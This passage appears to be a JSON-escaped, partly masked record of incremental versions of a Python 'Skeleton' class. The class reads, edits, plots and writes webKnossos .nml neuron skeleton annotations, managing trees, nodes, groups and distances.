interpolation, time, comment)\n return nodes\n\n def define_nodes_from_positions(self, positions: np.ndarray) ->Nodes:\n \"\"\" Generates new nodes table from positions only (node ids are generated automatically).\n\n Args:\n positions (N x 3): Numpy array holding the (x,y,z) positions to be returned as nodes in a Nodes table\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n id_max = self.max_node_id()\n id = np.array(range(id_max + 1, id_max + positions.shape[0] + 1)\n ).reshape(-1, 1)\n nodes = Nodes.from_numpy(np.append(id, positions, axis=1))\n return nodes\n\n def get_distances_to_node(self, positions: Union[Sequence[Tuple[int,\n int, int]], np.ndarray], node_id: int=None, tree_idx: int=None,\n node_idx: int=None, unit: str='um') ->List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the specified node to the provided (x,y,z) positions\n\n Args:\n positions (N x 3): Target (x,y,z) positions to which the distances should be computed\n node_id: Node id of the node for which the distances should be computed\n tree_idx: Tree idx of the node for which the distances should be computed\n node_idx: Node idx of the node for which the distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n assert (node_id is not None) ^ (tree_idx is not None) & (node_idx\n is not None\n ), 'Either provide node_id or both tree_idx and node_idx'\n if type(positions) is not np.ndarray:\n positions = np.array(positions)\n if node_id is not None:\n node_idx, tree_idx = self.node_id_to_idx(node_id)\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(positions, np.array(self.nodes[\n tree_idx].position.values[node_idx]), unit_factor)\n return distances\n\n def get_distance_to_nodes(self, position: Union[Tuple[int, int, int],\n np.ndarray], tree_idx: int, unit: str='um') ->List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the nodes of the specified tree to the provided (x,y,z) position\n\n Args:\n position (1 x 3): Target (x,y,z) position to which the node distances should be computed\n tree_idx: Tree idx for which node distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n if type(position) is not np.ndarray:\n position = np.array(position)\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(np.array(self.nodes[tree_idx].\n position.values), position, unit_factor)\n return distances\n\n def get_graph(self, tree_idx):\n \"\"\" Returns the networkx graph representation of a tree.\n\n Args:\n tree_idx: Linear index of the tree to be returned as graph object\n\n Returns:\n graph: Graph object\n\n \"\"\"\n nodes = self.nodes[tree_idx]\n edges = self.edges[tree_idx]\n graph = Skeleton._get_graph(nodes, edges)\n return graph\n\n def get_shortest_path(self, node_id_start: int, node_id_end: int) ->List[\n int]:\n \"\"\" Returns the shortest path between two nodes of a tree.\n\n Args:\n node_id_start: Node id of start node\n node_id_end: Node id of end node\n\n Returns:\n shortest_path: Node indices comprising the shortest path\n\n \"\"\"\n _, tree_idx_start = self.node_id_to_idx(node_id_start)\n _, tree_idx_end = self.node_id_to_idx(node_id_end)\n assert tree_idx_start == tree_idx_end, 'Provided node ids need to be part of the same tree'\n graph = self.get_graph(tree_idx_start)\n shortest_path = nx.shortest_path(graph, node_id_start, node_id_end)\n return shortest_path\n\n def plot(self, tree_inds: Union[int, List[int]]=None, view: str=None,\n colors: Union[Tuple[float, float, float, float], List[Tuple[float,\n float, float, float]], str]=None, unit: str='um', show: bool=True,\n ax: plt.axes=None):\n \"\"\" Generates a (3D) line plot of the trees contained in the skeleton object.\n\n Args:\n tree_inds (optional): Tree indices to be plotted.\n Default: All trees are plotted\n view (optional): Plot as 2D projection on orthonormal plane.\n Options: 'xy', 'xz', 'yz'\n Default: Plot as 3D projection\n colors (optional): Colors in which trees should be plotted. If only one RGBA tuple is specified, it is\n broadcasted over all trees. Alternatively, a list providing RGBA tuples for each tree can be passed.\n Lastly, the name of a mnatplotlib colormap (https://matplotlib.org/tutorials/colors/colormaps.html) can\n be passed as a str.\n Default: Skeleton colors (self.colors) are used\n unit (optional): Specifies in which unit the plot should be generated.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer).\n Default: 'um' (micrometer)\n show (optional): Displays the plot in an interactive window. For repeatedly plotting on the same axes, set\n to False. Default: True\n ax: Axes to be plotted on.\n\n Returns:\n ax: Axes which was plotted on\n \"\"\"\n if tree_inds is None:\n tree_inds = list(range(len(self.nodes)))\n elif tree_inds is int:\n tree_inds = [tree_inds]\n if colors is None:\n colors = self.colors\n elif type(colors) is str:\n cmap = cm.get_cmap(colors)\n colors = [cmap(x) for x in np.linspace(0, 1, self.num_trees())]\n elif type(colors[0]) is not Sequence:\n colors = [colors] * self.num_trees()\n unit_factor = self._get_unit_factor(unit)\n allowed_views = ['xy', 'xz', 'yz']\n if view is not None:\n assert view in allowed_views, 'The passed view argument: {} is not among the allowed views: {}'.format(\n view, allowed_views)\n if ax is None:\n fig = plt.figure()\n if view is None:\n ax = fig.add_subplot(111, projection='3d')\n else:\n ax = fig.add_subplot(111, projection='rectilinear')\n elif view is None:\n assert ax.name == '3d', 'To generate a 3D skeleton plot, the projection type of the passed axes must be 3D'\n else:\n assert ax.name != '3d', 'To generate a 2D skeleton plot, the projection type of the passed axes must be rectilinear'\n lims_min = []\n lims_max = []\n for tree_idx in tree_inds:\n edges = self.edges[tree_idx].copy()\n nodes = self.nodes[tree_idx].copy()\n if len(nodes) > 0:\n nodes['position'] = nodes['position'].multiply(unit_factor)\n if view == 'xy':\n nodes = nodes.drop([('position', 'z')], axis=1)\n elif view == 'xz':\n nodes = nodes.drop([('position', 'y')], axis=1)\n elif view == 'yz':\n nodes = nodes.drop([('position', 'x')], axis=1)\n lims_min.append(np.min(nodes['position'].values, axis=0))\n lims_max.append(np.max(nodes['position'].values, axis=0))\n segments = []\n for edge in edges:\n n0 = nodes['position'][nodes.id == edge[0]].values[0]\n n1 = nodes['position'][nodes.id == edge[1]].values[0]\n segment = [[c for c in n0], [c for c in n1]]\n segments.append(segment)\n if view is None:\n line_collection = art3d.Line3DCollection(segments=\n segments, colors=colors[tree_idx])\n ax.add_collection3d(line_collection)\n else:\n line_collection = LineCollection(segments=segments,\n colors=colors[tree_idx])\n ax.add_collection(line_collection)\n lim_min = np.min(np.array(lims_min), axis=0)\n lim_max = np.max(np.array(lims_max), axis=0)\n ax.set_xlim(lim_min[0], lim_max[0])\n ax.set_ylim(lim_min[1], lim_max[1])\n if view is None:\n ax.set_zlim(lim_min[2], lim_max[2])\n else:\n ax.set_aspect('equal')\n if show:\n plt.show()\n return ax\n\n def write_nml(self, nml_write_path):\n \"\"\" Writes the present state of the skeleton object to a .nml file.\n\n Args:\n nml_write_path: Path to which .nml file should be written\n\n \"\"\"\n if self.num_trees() == 0:\n self.add_tree()\n nml = self._skeleton_to_nml()\n with open(nml_write_path, 'wb') as f:\n wknml.write_nml(f, nml)\n\n def node_id_to_idx(self, node_id: int) ->(int, int):\n \"\"\" Returns the linear tree and node indices for the provided node id.\"\"\"\n node_idx = None\n for tree_idx, nodes in enumerate(self.nodes):\n index_list = nodes[nodes['id'] == node_id].index.tolist()\n if index_list:\n node_idx = index_list[0]\n break\n assert node_idx is not None, 'node id {} does not exist'.format(node_id\n )\n return node_idx, tree_idx\n\n def node_idx_to_id(self, node_idx: int, tree_idx: int) ->int:\n \"\"\" Returns the node id for the provided tree and node idx.\"\"\"\n node_id = self.nodes[tree_idx].loc[node_idx, 'id'].values[0]\n return node_id\n\n def min_group_id(self) ->int:\n \"\"\" Returns lowest group id. If no groups are defined, return None\"\"\"\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n group_id = int(np.nanmin(group_ids))\n return group_id\n\n def max_group_id(self) ->int:\n \"\"\" Returns highest group id. If no groups are defined, return None\"\"\"\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n group_id = int(np.nanmax(group_ids))\n return group_id\n\n def min_node_id(self) ->int:\n \"\"\" Returns lowest global node id.\"\"\"\n if len(self.nodes) > 0:\n min_node_id = min([(min(nodes.id) if len(nodes) > 0 else 0) for\n nodes in self.nodes])\n else:\n min_node_id = 0\n return min_node_id\n\n def max_node_id(self) ->int:\n \"\"\" Returns highest global node id.\"\"\"\n if len(self.nodes) > 0:\n max_node_id = max([(max(nodes.id) if len(nodes) > 0 else 0) for\n nodes in self.nodes])\n else:\n max_node_id = 0\n return max_node_id\n\n def min_tree_id(self) ->int:\n \"\"\" Returns lowest global tree id.\"\"\"\n return min(self.tree_ids) if len(self.tree_ids) > 0 else 0\n\n def max_tree_id(self) ->int:\n \"\"\" Returns highest global tree id.\"\"\"\n return max(self.tree_ids) if len(self.tree_ids) > 0 else 0\n\n def num_trees(self) ->int:\n \"\"\"Returns number of trees contained in skeleton object.\"\"\"\n return len(self.nodes)\n\n def groups_ids(self) ->List[int]:\n \"\"\" Returns all ids defined in groups tree\"\"\"\n _, groups_ids = Skeleton._group_get_ids(self.groups)\n return groups_ids\n\n def _get_unit_factor(self, unit: str) ->np.ndarray:\n \"\"\" Returns factor for unit conversion\n\n Args:\n unit: Unit for which to return the conversion factor.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer)\n\n Returns:\n unit_factor (shape=(3,)): Unit conversion factors\n \"\"\"\n unit_factors = {'vx': np.array((1, 1, 1)), 'nm': np.array(self.\n parameters.scale), 'um': np.array(self.parameters.scale) / 1000}\n assert unit in unit_factors.keys(), 'Invalid unit'\n unit_factor = unit_factors[unit]\n return unit_factor\n\n def _reset_node_ids(self, start_id: int):\n \"\"\" Resets node ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest node id should be set.\n \"\"\"\n add_id = start_id - self.min_node_id()\n for tree_idx, _ in enumerate(self.nodes):\n self.nodes[tree_idx].nodes['id'] += add_id\n self.edges[tree_idx] += add_id\n\n def _reset_tree_ids(self, start_id: int):\n \"\"\" Resets tree ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest tree id should be set.\n \"\"\"\n add_id = start_id - self.min_tree_id()\n self.tree_ids = [(tree_id + add_id) for tree_id in self.tree_ids]\n\n def _reset_group_ids(self, start_id: int):\n \"\"\" Resets group ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest group id should be set.\n \"\"\"\n min_group_id = self.min_group_id()\n if min_group_id is not None:\n add_id = start_id - min_group_id\n self.group_ids = [(i + add_id if i is not None else i) for i in\n self.group_ids]\n self.groups = [Skeleton._group_modify_id(group, id_modifier=lambda\n x: x + add_id) for group in self.groups]\n <mask token>\n\n def _nml_to_skeleton(self, nml):\n \"\"\" Converts wknml to skeleton data structures.\"\"\"\n self.groups = nml.groups\n self.branchpoints = nml.branchpoints\n self.parameters = Parameters(**nml.parameters._asdict())\n for tree in nml.trees:\n self.add_tree(nodes=Skeleton._nml_nodes_to_nodes(nml_nodes=tree\n .nodes, nml_comments=nml.comments), edges=np.array([(edge.\n source, edge.target) for edge in tree.edges]), group_id=\n tree.groupId, name=tree.name, color=tree.color)\n\n def _skeleton_to_nml(self):\n \"\"\" Converts skeleton to wknml data structures.\"\"\"\n trees = []\n for tree_idx, tree_id in enumerate(self.tree_ids):\n nml_nodes = Skeleton._nodes_to_nml_nodes(self.nodes[tree_idx])\n nml_edges = Skeleton._edges_to_nml_edges(self.edges[tree_idx])\n tree = wknml.Tree(id=tree_id, color=self.colors[tree_idx], name\n =self.names[tree_idx], groupId=self.group_ids[tree_idx],\n nodes=nml_nodes, edges=nml_edges)\n trees.append(tree)\n nml = wknml.NML(parameters=wknml.NMLParameters(**self.parameters.\n _asdict()), trees=trees, branchpoints=self.branchpoints,\n comments=self._skeleton_to_nml_comments(), groups=self.groups)\n return nml\n\n def _skeleton_to_nml_comments(self):\n \"\"\" Converts skeleton to wknml comments.\"\"\"\n nml_comments = []\n for nodes in self.nodes:\n comment_nodes = nodes[nodes['comment'].notnull()]\n for _, row in comment_nodes.iterrows():\n nml_comment = wknml.Comment(node=row['id'].values[0],\n content=row['comment'].values[0])\n nml_comments.append(nml_comment)\n return nml_comments\n\n @staticmethod\n def define_parameters(name: str, scale: Tuple[float, float, float],\n offset: Tuple[float, float, float]=(0, 0, 0), time: int=0,\n editPosition: Tuple[float, float, float]=(1.0, 1.0, 1.0),\n editRotation: Tuple[float, float, float]=(0.0, 0.0, 0.0), zoomLevel:\n float=1.0, taskBoundingBox: Tuple[int, int, int, int, int, int]=\n None, userBoundingBox: Tuple[int, int, int, int, int, int]=None\n ) ->Parameters:\n parameters = Parameters(name=name, scale=scale, offset=offset, time\n =time, editPosition=editPosition, editRotation=editRotation,\n zoomLevel=zoomLevel, taskBoundingBox=taskBoundingBox,\n userBoundingBox=userBoundingBox)\n return parameters\n\n @staticmethod\n def get_distance(positions: np.ndarray, position: np.ndarray,\n unit_factor: np.ndarray=None):\n \"\"\" Get the (euclidean) distances between positions and a target position\n\n Args:\n positions (N x 3): Array holding (multiple) x, y, z positions\n position (1 x 3): Array holding x, y, z position to which the distances should be computed\n unit_factors (1 x 3 Array, optional): Conversion factors with which distances are multiplied. Default (1,1,1)\n\n Returns:\n distances: Arrays holding distances\n\n \"\"\"\n if unit_factor is None:\n unit_factor = np.array([1, 1, 1])\n distances = np.sqrt(np.sum(((positions - position) * unit_factor.\n reshape(1, 3)) ** 2, axis=1))\n return distances\n\n @staticmethod\n def _nml_nodes_to_nodes(nml_nodes, nml_comments):\n \"\"\" Converts wknml nodes (list of named tuples) to skeleton nodes (DataFrame subclass).\"\"\"\n data = [(node.id, node.position[0], node.position[1], node.position\n [2], node.radius, node.rotation[0], node.rotation[1], node.\n rotation[2], node.inVp, node.inMag, node.bitDepth, node.\n interpolation, node.time, np.nan) for node in nml_nodes]\n nodes = Nodes(data=data)\n comment_node_ids = [comment.node for comment in nml_comments]\n comment_strings = [comment.content for comment in nml_comments]\n nodes_ids_comments = nodes.id[nodes.id.isin(comment_node_ids)]\n for id in nodes_ids_comments:\n id_comment = comment_strings[comment_node_ids.index(id)]\n nodes.loc[nodes.id == id, ('comment', '')] = id_comment\n return nodes\n\n @staticmethod\n def _nodes_to_nml_nodes(nodes):\n \"\"\" Converts skeleton nodes (DataFrame subclass) to wknml nodes (list of named tuples).\"\"\"\n nml_nodes = []\n for idx, row in nodes.iterrows():\n nml_node = wknml.Node(id=int(row.id), position=tuple(row.\n position.values), radius=float(row.radius), rotation=tuple(\n row.rotation.values), inVp=int(row.inVp), inMag=int(row.\n inMag), bitDepth=int(row.bitDepth), interpolation=bool(row.\n interpolation.values), time=int(row.time))\n nml_nodes.append(nml_node)\n return nml_nodes\n <mask token>\n\n @staticmethod\n def _group_append(groups, id, new_group):\n \"\"\" Appends new group as a child of existing group with specified id. Currently only works up to depth=3.\"\"\"\n path_inds = []\n _, _, idx = Skeleton._group_parent(groups, id)\n while id is not None:\n path_inds.append(idx)\n id, idx, _ = Skeleton._group_parent(groups, id)\n path_inds = list(reversed(path_inds))\n if len(path_inds) == 1:\n groups[path_inds[0]]._replace(children=new_group)\n elif len(path_inds) == 2:\n groups[path_inds[0]].children[path_inds[1]]._replace(children=\n new_group)\n elif len(path_inds) == 3:\n groups[path_inds[0]].children[path_inds[1]].children[path_inds[2]\n ]._replace(children=new_group)\n return groups\n\n @staticmethod\n def _group_parent(groups, id, parent_id=None, parent_idx=None,\n child_idx=None):\n \"\"\" Returns the id of the parent group for a (child) group with specified id.\"\"\"\n for group in groups:\n if id in [x.id for x in group.children]:\n parent_id = group.id\n parent_idx = groups.index(group)\n child_idx = [x.id for x in group.children].index(id)\n else:\n parent_id, parent_idx, child_idx = Skeleton._group_parent(group\n .children, id, parent_id, parent_idx, child_idx)\n return parent_id, parent_idx, child_idx\n\n @staticmethod\n def _group_modify_id(group, id_modifier):\n \"\"\" Modifies group ids with the passed id_modifier (e.g. lambda) function.\"\"\"\n group = group._replace(id=id_modifier(group.id))\n group = group._replace(children=list(map(lambda g: Skeleton.\n _group_modify_id(g, id_modifier), group.children)))\n return group\n\n @staticmethod\n def _group_get_ids(groups, ids=[]):\n for group in groups:\n ids.append(group.id)\n Skeleton._group_get_ids(group.children, ids)\n return groups, ids\n\n @staticmethod\n def _get_graph(nodes: Nodes, edges: np.ndarray):\n \"\"\" Returns the networkx graph representation of provided nodes and edges.\"\"\"\n graph = nx.Graph()\n graph.add_nodes_from(nodes['id'])\n attrs = nodes.set_index('id').to_dict('index')\n nx.set_node_attributes(graph, attrs)\n graph.add_edges_from(edges)\n return graph\n\n @staticmethod\n def _num_conn_comp(graph):\n \"\"\" Returns number of connected components for graph\"\"\"\n return nx.number_connected_components(graph)\n", "step-4": "<mask token>\n\n\nclass Skeleton:\n <mask token>\n <mask token>\n\n def __init__(self, nml_path: str=None, parameters: Parameters=None,\n strict=True):\n \"\"\" The Skeleton constructor expects either a path to a nml file or a Parameters object as input arguments\n\n Args:\n nml_path: Path to nml file. If constructed via an nml file, the skeleton object is populated with all the\n trees and additional properties specified in the .nml file\n parameters (optional): Parameters (wkskel.types.Parameters) specifying the most rudimentary properties\n of the skeleton.\n strict (optional): Controls assertions ensuring that resulting skeleton objects are compatible with\n webKnossos. Default: True\n\n Examples:\n Using nml_path:\n nml_path = '/path/to/example.nml'\n skel = Skeleton(nml_path)\n\n Using parameters:\n parameters = Skeleton.define_parameters(name=\"2017-01-12_FD0156-2\", scale=(11.24, 11.24, 32))\n skel = Skeleton(parameters=parameters)\n \"\"\"\n assert (nml_path is not None) ^ (parameters is not None\n ), 'To construct a skeleton object, either a path to a nml file or the skeleton parameters need to passed'\n self.nodes = list()\n self.edges = list()\n self.names = list()\n self.colors = list()\n self.tree_ids = list()\n self.group_ids = list()\n self.groups = list()\n self.branchpoints = list()\n self.parameters = Parameters()\n self.nml_path = str()\n self.strict = strict\n self.defaults = self.DEFAULTS\n if nml_path is not None:\n assert os.path.exists(nml_path), 'not a valid path: {}'.format(\n nml_path)\n try:\n with open(nml_path, 'rb') as f:\n nml = wknml.parse_nml(f)\n except IOError:\n print('not a valid nml file: {}'.format(nml_path))\n self._nml_to_skeleton(nml)\n else:\n assert type(parameters\n ) is Parameters, 'provided parameters must be of type wkskel.types.Parameters'\n self._parameters_to_skeleton(parameters)\n\n def add_tree(self, nodes: Nodes=Nodes(), edges: Union[List[Tuple[int,\n int]], np.ndarray]=None, tree_id: int=None, name: str='', group_id:\n int=None, color: Tuple[float, float, float, float]=None):\n \"\"\" Appends new tree to skeleton.\n\n Args:\n nodes (optional): Nodes representing tree to be added\n edges (optional): Edges representing tree to be added\n tree_id (optional): Tree id to be used for new tree. Default: Highest current tree id + 1\n name (optional): Name to be used for new tree. Default: Empty str\n group_id (optional): Group id to be used for new tree. If passed group id does not exist, it is created.\n Default: None\n color (optional): Color to be used for new tree specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n if edges is None:\n edges = np.empty((0, 2), dtype=np.uint32)\n elif type(edges) is list:\n edges = np.asarray(edges)\n if self.strict & (len(nodes) > 1):\n assert Skeleton._num_conn_comp(Skeleton._get_graph(nodes, edges)\n ) == 1, 'Added tree consists of more than one connected component'\n if tree_id is None:\n tree_id = self.max_tree_id() + 1\n if (group_id is not None) & (group_id not in self.groups_ids()):\n self.add_group(id=group_id)\n if color is None:\n color = self.defaults['tree']['color']\n self.nodes.append(nodes)\n self.edges.append(edges)\n self.tree_ids.append(tree_id)\n self.group_ids.append(group_id)\n self.names.append(name)\n self.colors.append(color)\n\n def add_tree_from_skel(self, skel: 'Skeleton', tree_idx: int, group_id:\n int=None, name: str=None):\n \"\"\" Appends a specific tree contained in a different skeleton object to the skeleton.\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n tree_idx: Source tree index of tree to be added\n group_id (optional): Target group id to which the added tree should be assigned. Default: None\n name (optional): Target name for the added tree\n \"\"\"\n if group_id not in self.groups_ids():\n self.add_group(id=group_id)\n if name is None:\n name = skel.names[tree_idx]\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n self.nodes = self.nodes + [skel.nodes[tree_idx]]\n self.edges = self.edges + [skel.edges[tree_idx]]\n self.tree_ids = self.tree_ids + [skel.tree_ids[tree_idx]]\n self.group_ids = self.group_ids + [group_id]\n self.names = self.names + [name]\n self.colors = self.colors + [skel.colors[tree_idx]]\n return self\n\n def add_trees_from_skel(self, skel: 'Skeleton'):\n \"\"\" Appends all trees contained in a different skeleton object to the skeleton.\n\n This method attempts to preserve the relative group structure found in the skeleton object to be added\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n \"\"\"\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n max_group_id = self.max_group_id()\n if max_group_id is not None:\n skel._reset_group_ids(max_group_id + 1)\n self.nodes = self.nodes + skel.nodes\n self.edges = self.edges + skel.edges\n self.tree_ids = self.tree_ids + skel.tree_ids\n self.group_ids = self.group_ids + skel.group_ids\n self.groups = self.groups + skel.groups\n self.names = self.names + skel.names\n self.colors = self.colors + skel.colors\n return self\n\n def add_nodes_as_trees(self, nodes: Nodes, tree_ids: List[int]=None,\n group_ids: List[int]=None, names: List[str]=None, colors: List[\n Tuple[float, float, float, float]]=None):\n \"\"\" Appends each of the specified nodes as separate trees to the skeleton (1 node each).\n\n Args:\n nodes: Nodes representing the trees to be added\n tree_ids (optional): Tree ids to be assigned to the newly added trees. Default: Global max + [1, n]\n group_ids (optional): Group ids to be assigned to the newly added trees. Default: None\n names (optional): Names to be assigned to the newly added trees.\n colors (optional): Colors to be used for the new trees specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n if tree_ids is None:\n tree_id_start = self.max_tree_id() + 1\n tree_id_end = tree_id_start + len(nodes)\n tree_ids = list(range(tree_id_start, tree_id_end))\n if group_ids is None:\n group_ids = [None for x in range(len(nodes))]\n if names is None:\n names = ['' for x in range(len(nodes))]\n if colors is None:\n colors = [(0.0, 0.0, 0.0, 1.0) for x in range(len(nodes))]\n for node_idx, _ in nodes.iterrows():\n self.add_tree(nodes=nodes[node_idx:node_idx + 1], tree_id=\n tree_ids[node_idx], group_id=group_ids[node_idx], name=\n names[node_idx], color=colors[node_idx])\n\n def delete_tree(self, idx: int=None, id: int=None):\n \"\"\" Deletes tree with specified idx or id.\n\n Args:\n idx: Linear index of tree to be deleted\n id: Id of tree to be deleted\n\n \"\"\"\n if id is not None:\n idx = self.tree_ids.index(id)\n self.nodes.pop(idx)\n self.edges.pop(idx)\n self.names.pop(idx)\n self.colors.pop(idx)\n self.tree_ids.pop(idx)\n self.group_ids.pop(idx)\n\n def add_group(self, parent_id: int=None, id: int=None, name: str=None):\n \"\"\" Adds a new group to skeleton object.\n\n Args:\n parent_id: Parent group id to which new group is added as a child. Default: None (root group)\n id: Id of new group to be added. Default: Current max group id + 1\n name: Name of new group to be added. Default: 'Group {}'.format(id)\n\n Returns:\n id: Id of added group\n name: Name of added group\n\n \"\"\"\n if parent_id is not None:\n assert parent_id in self.group_ids, 'Parent id does not exist'\n if id is None:\n id = int(np.nanmax(np.asarray(self.group_ids, dtype=np.float)) + 1)\n else:\n assert id not in self.groups_ids(), 'Id already exists'\n if name is None:\n name = 'Group {}'.format(id)\n new_group = wknml.Group(id, name, [])\n if parent_id is None:\n self.groups.append(new_group)\n else:\n self.groups = Skeleton._group_append(self.groups, parent_id,\n new_group)\n return id, name\n\n def delete_group(self, id, target_id):\n pass\n\n def define_nodes(self, position_x: List[int], position_y: List[int],\n position_z: List[int], id: List[int]=None, radius: Optional[List[\n int]]=None, rotation_x: Optional[List[float]]=None, rotation_y:\n Optional[List[float]]=None, rotation_z: Optional[List[float]]=None,\n inVP: Optional[List[int]]=None, inMag: Optional[List[int]]=None,\n bitDepth: Optional[List[int]]=None, interpolation: Optional[List[\n bool]]=None, time: Optional[List[int]]=None, comment: Optional[List\n [int]]=None) ->Nodes:\n \"\"\" Generates new nodes table from data.\n\n Args:\n position_x: Node position x\n position_y: Node position y\n position_z: Node position z\n id (optional): (Globally unique) Node id. Default: New unique ids are generated\n radius (optional): Node radius\n rotation_x (optional): Node rotation x\n rotation_y (optional): Node rotation y\n rotation_z (optional): Node rotation z\n inVP (optional): Viewport index in which node was placed\n inMag (optional): (De-)Magnification factor in which node was placed\n bitDepth (optional): Bit (Color) Depth in which node was placed\n interpolation (optional): Interpolation state in which node was placed\n time (optional): Time stamp at which node was placed\n comment (optional): Comment associated with node\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n if id is None:\n id_max = self.max_node_id()\n id = list(range(id_max + 1, id_max + len(position_x) + 1))\n nodes = Nodes.from_list(id, position_x, position_y, position_z,\n radius, rotation_x, rotation_y, rotation_z, inVP, inMag,\n bitDepth, interpolation, time, comment)\n return nodes\n\n def define_nodes_from_positions(self, positions: np.ndarray) ->Nodes:\n \"\"\" Generates new nodes table from positions only (node ids are generated automatically).\n\n Args:\n positions (N x 3): Numpy array holding the (x,y,z) positions to be returned as nodes in a Nodes table\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n id_max = self.max_node_id()\n id = np.array(range(id_max + 1, id_max + positions.shape[0] + 1)\n ).reshape(-1, 1)\n nodes = Nodes.from_numpy(np.append(id, positions, axis=1))\n return nodes\n\n def get_distances_to_node(self, positions: Union[Sequence[Tuple[int,\n int, int]], np.ndarray], node_id: int=None, tree_idx: int=None,\n node_idx: int=None, unit: str='um') ->List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the specified node to the provided (x,y,z) positions\n\n Args:\n positions (N x 3): Target (x,y,z) positions to which the distances should be computed\n node_id: Node id of the node for which the distances should be computed\n tree_idx: Tree idx of the node for which the distances should be computed\n node_idx: Node idx of the node for which the distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n assert (node_id is not None) ^ (tree_idx is not None) & (node_idx\n is not None\n ), 'Either provide node_id or both tree_idx and node_idx'\n if type(positions) is not np.ndarray:\n positions = np.array(positions)\n if node_id is not None:\n node_idx, tree_idx = self.node_id_to_idx(node_id)\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(positions, np.array(self.nodes[\n tree_idx].position.values[node_idx]), unit_factor)\n return distances\n\n def get_distance_to_nodes(self, position: Union[Tuple[int, int, int],\n np.ndarray], tree_idx: int, unit: str='um') ->List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the nodes of the specified tree to the provided (x,y,z) position\n\n Args:\n position (1 x 3): Target (x,y,z) position to which the node distances should be computed\n tree_idx: Tree idx for which node distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n if type(position) is not np.ndarray:\n position = np.array(position)\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(np.array(self.nodes[tree_idx].\n position.values), position, unit_factor)\n return distances\n\n def get_graph(self, tree_idx):\n \"\"\" Returns the networkx graph representation of a tree.\n\n Args:\n tree_idx: Linear index of the tree to be returned as graph object\n\n Returns:\n graph: Graph object\n\n \"\"\"\n nodes = self.nodes[tree_idx]\n edges = self.edges[tree_idx]\n graph = Skeleton._get_graph(nodes, edges)\n return graph\n\n def get_shortest_path(self, node_id_start: int, node_id_end: int) ->List[\n int]:\n \"\"\" Returns the shortest path between two nodes of a tree.\n\n Args:\n node_id_start: Node id of start node\n node_id_end: Node id of end node\n\n Returns:\n shortest_path: Node indices comprising the shortest path\n\n \"\"\"\n _, tree_idx_start = self.node_id_to_idx(node_id_start)\n _, tree_idx_end = self.node_id_to_idx(node_id_end)\n assert tree_idx_start == tree_idx_end, 'Provided node ids need to be part of the same tree'\n graph = self.get_graph(tree_idx_start)\n shortest_path = nx.shortest_path(graph, node_id_start, node_id_end)\n return shortest_path\n\n def plot(self, tree_inds: Union[int, List[int]]=None, view: str=None,\n colors: Union[Tuple[float, float, float, float], List[Tuple[float,\n float, float, float]], str]=None, unit: str='um', show: bool=True,\n ax: plt.axes=None):\n \"\"\" Generates a (3D) line plot of the trees contained in the skeleton object.\n\n Args:\n tree_inds (optional): Tree indices to be plotted.\n Default: All trees are plotted\n view (optional): Plot as 2D projection on orthonormal plane.\n Options: 'xy', 'xz', 'yz'\n Default: Plot as 3D projection\n colors (optional): Colors in which trees should be plotted. If only one RGBA tuple is specified, it is\n broadcasted over all trees. Alternatively, a list providing RGBA tuples for each tree can be passed.\n Lastly, the name of a mnatplotlib colormap (https://matplotlib.org/tutorials/colors/colormaps.html) can\n be passed as a str.\n Default: Skeleton colors (self.colors) are used\n unit (optional): Specifies in which unit the plot should be generated.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer).\n Default: 'um' (micrometer)\n show (optional): Displays the plot in an interactive window. For repeatedly plotting on the same axes, set\n to False. Default: True\n ax: Axes to be plotted on.\n\n Returns:\n ax: Axes which was plotted on\n \"\"\"\n if tree_inds is None:\n tree_inds = list(range(len(self.nodes)))\n elif tree_inds is int:\n tree_inds = [tree_inds]\n if colors is None:\n colors = self.colors\n elif type(colors) is str:\n cmap = cm.get_cmap(colors)\n colors = [cmap(x) for x in np.linspace(0, 1, self.num_trees())]\n elif type(colors[0]) is not Sequence:\n colors = [colors] * self.num_trees()\n unit_factor = self._get_unit_factor(unit)\n allowed_views = ['xy', 'xz', 'yz']\n if view is not None:\n assert view in allowed_views, 'The passed view argument: {} is not among the allowed views: 